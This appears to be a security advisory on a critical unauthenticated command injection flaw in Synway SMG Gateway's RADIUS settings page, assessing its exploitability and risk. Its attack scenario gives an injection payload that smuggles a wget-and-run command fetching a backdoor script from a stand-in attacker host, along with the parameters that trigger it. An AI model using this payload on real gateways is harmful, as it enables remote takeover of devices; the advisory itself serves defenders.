Synway SMG Gateway CVE-2025-71284

No special conditions - remote unauthenticated exploitation against default configurations of Synway SMG Gateway Management Software. CVSS vector AV:N/AC:L/PR:N/UI:N confirms network-accessible attack requiring no authentication, no complex preparation, and no user interaction. The vulnerable endpoint /en/9-2radius.php is part of the standard web management interface and requires no non-default features to be enabled. Exploitation requires only network connectivity to the management interface (typically TCP/80 or TCP/443) and knowledge of the vulnerable endpoint and parameter names, both publicly documented in exploit code. The only limiting factor is network accessibility: if the management interface is restricted to internal management networks or protected by firewall rules blocking external access, remote internet-based exploitation is prevented, though authenticated administrators or attackers who have breached the perimeter can still exploit. Organizations that have not implemented access controls on the web management interface face immediate risk from automated scanning and exploitation.

This represents an immediate critical risk requiring urgent action. CVSS 9.3 with vector AV:N/AC:L/PR:N/UI:N indicates trivial exploitation from the internet without authentication or user interaction. Active exploitation confirmed by Shadowserver Foundation since July 2025 demonstrates real-world attacker interest. Multiple publicly available exploits including a Nuclei template (projectdiscovery/nuclei-templates) enable mass scanning and automated exploitation by both sophisticated and low-skill threat actors. Chinese security research publications provide detailed technical walkthroughs, significantly lowering the exploitation barrier. The combination of unauthenticated access, trivial attack complexity, and complete system compromise (VC:H/VI:H/VA:H) makes this an attacker's ideal target. Organizations running Synway SMG Gateway face imminent risk of full system takeover, data exfiltration, ransomware deployment, or pivot attacks into internal networks. EPSS data not provided but real-world exploitation evidence supersedes probabilistic scoring. This vulnerability meets all criteria for emergency patching: confirmed exploitation, publicly available weaponized code, no authentication barriers, and complete system impact.

An unauthenticated attacker scans the internet for exposed Synway SMG Gateway management interfaces using the publicly available Nuclei template from Project Discovery. Upon identifying a vulnerable instance, the attacker crafts a POST request to /en/9-2radius.php with a malicious radius_address parameter containing shell metacharacters and commands (e.g., radius_address=127.0.0.1; wget http://attacker.com/backdoor.sh -O /tmp/x; sh /tmp/x). The request includes save=1 and enable_radius=1 to trigger the vulnerable code path. The unsanitized input is interpolated into a sed command, causing the injected commands to execute with web server privileges. The attacker establishes persistence through cron jobs or modified startup scripts, deploys cryptocurrency miners or ransomware, exfiltrates telecommunications data and call records, and pivots into connected enterprise networks using the compromised gateway as a trusted telecommunications infrastructure device.